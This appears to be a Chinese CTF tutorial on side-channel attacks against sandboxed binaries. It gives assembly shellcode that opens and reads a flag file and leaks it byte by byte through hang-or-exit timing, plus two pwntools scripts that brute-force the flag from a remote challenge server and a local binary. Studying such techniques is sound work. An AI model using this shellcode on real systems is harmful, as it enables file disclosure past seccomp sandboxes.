侧信道攻击是一种非正常的攻击手段,是根据程序的反馈报错信息来参考的一种攻击方式
原理是讲 flag 文件中的字符读取到缓冲区,将文件中的字符一个字节一个字节的对比
使用前提:
1-输入的 shellcode 能够被执行
2-程序禁用了execve系统调用,和关闭了标准输出流才用必要进行使用,因为爆破所需要的时间较长
3-read、open、openat、readv、fread 都可以被使用,但是一定要确保可以打开文件并且 read 读取到
4-标准错误不能被关闭,我们需要更具系统的反馈信息进行循环判定
侧信道攻击其实是比较模板化的,基本可以套用以下公式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| mov r12, 0x67616c66 ; 将字符串 "flag" 的 ASCII 值加载到寄存器 r12 中 push r12 ; 将 r12 的值推送到栈上 mov rdi, rsp ; 将栈上的地址赋给寄存器 rdi xor esi, esi ; 将 esi 寄存器清零 xor edx, edx ; 将 edx 寄存器清零 mov al, 2 ; 将系统调用号 2(open)加载到寄存器 al 中 syscall ; 执行系统调用 open,打开文件名为 flag 的文件
mov rdi, rax ; 将 open 返回的文件描述符赋给 rdi mov rsi, 0x10700 ; 将缓冲区地址加载到 rsi(缓冲区是用于存放 flag 内容) mov dl, 0x40 ; 将读取的字节数加载到 dl(64 字节) xor rax, rax ; 将 rax 寄存器清零 syscall ; 执行系统调用 read,读取 flag 内容到缓冲区
mov dl, byte ptr [rsi+{}] ; 将缓冲区中的某个字节加载到寄存器 dl mov cl, {} ; 将输入参数 char 加载到寄存器 cl cmp cl, dl ; 比较寄存器 cl 和 dl 的值 jz loop ; 如果相等,跳转到 loop 标签 mov al, 60 ; 将系统调用号 60(exit)加载到寄存器 al syscall ; 执行系统调用 exit
loop: jmp loop ; 无限循环
这个代码片段中的 {} 部分是通过 format(dis,char) 动态插入的
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| io=0 def find(i, c): global io io=remote("node10.anna.nssctf.cn",26017) io.recvuntil(b'Please input your shellcode: \n') sc=asm(""" mov rax, 0 movabs rax, 0x67616C66 push 0 push rax push rsp pop rdi xor rsi, rsi xor rdx, rdx mov rax, 2 syscall mov rsi, rdi mov rdi, rax xor rax, rax mov rdx, 0x100 syscall mov al, [rsp+{}] cmp al, {} jbe $ """.format(i, c)) io.send(sc)
try: io.recv(timeout=3) io.close() return True except EOFError: io.close() return False
flag = '' i=6 while True: l = 0x20 r = 0x80 while l <= r: m = (l + r) // 2 if find(i, m): r = m - 1 else: l = m + 1
if l==0: break print(l) flag += chr(l) info("win!!!!!!!!!!!!!!!!!!!!!!!!! ") info(flag) i += 1
info("flag: "+flag)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| def exp(dis,char): p.recvuntil("Welcome to silent execution-box.\n") shellcode = asm(''' mov r12,0x67616c66 push r12 mov rdi,rsp xor esi,esi xor edx,edx mov al,2 syscall mov rdi,rax mov rsi,0x10700 mov dl,0x40 xor rax,rax syscall mov dl, byte ptr [rsi+{}] mov cl, {} cmp cl,dl jz loop mov al,60 syscall loop: jmp loop '''.format(dis,char)) p.send(shellcode)
flag = ""
for i in range(len(flag),35): sleep(1) log.success("flag : {}".format(flag)) for j in range(0x20,0x80): p = process('./pwn') try: exp(i,j) p.recvline(timeout=1) flag += chr(j) p.send('\n') log.success("{} pos : {} success".format(i,chr(j))) p.close() break except: p.close()
|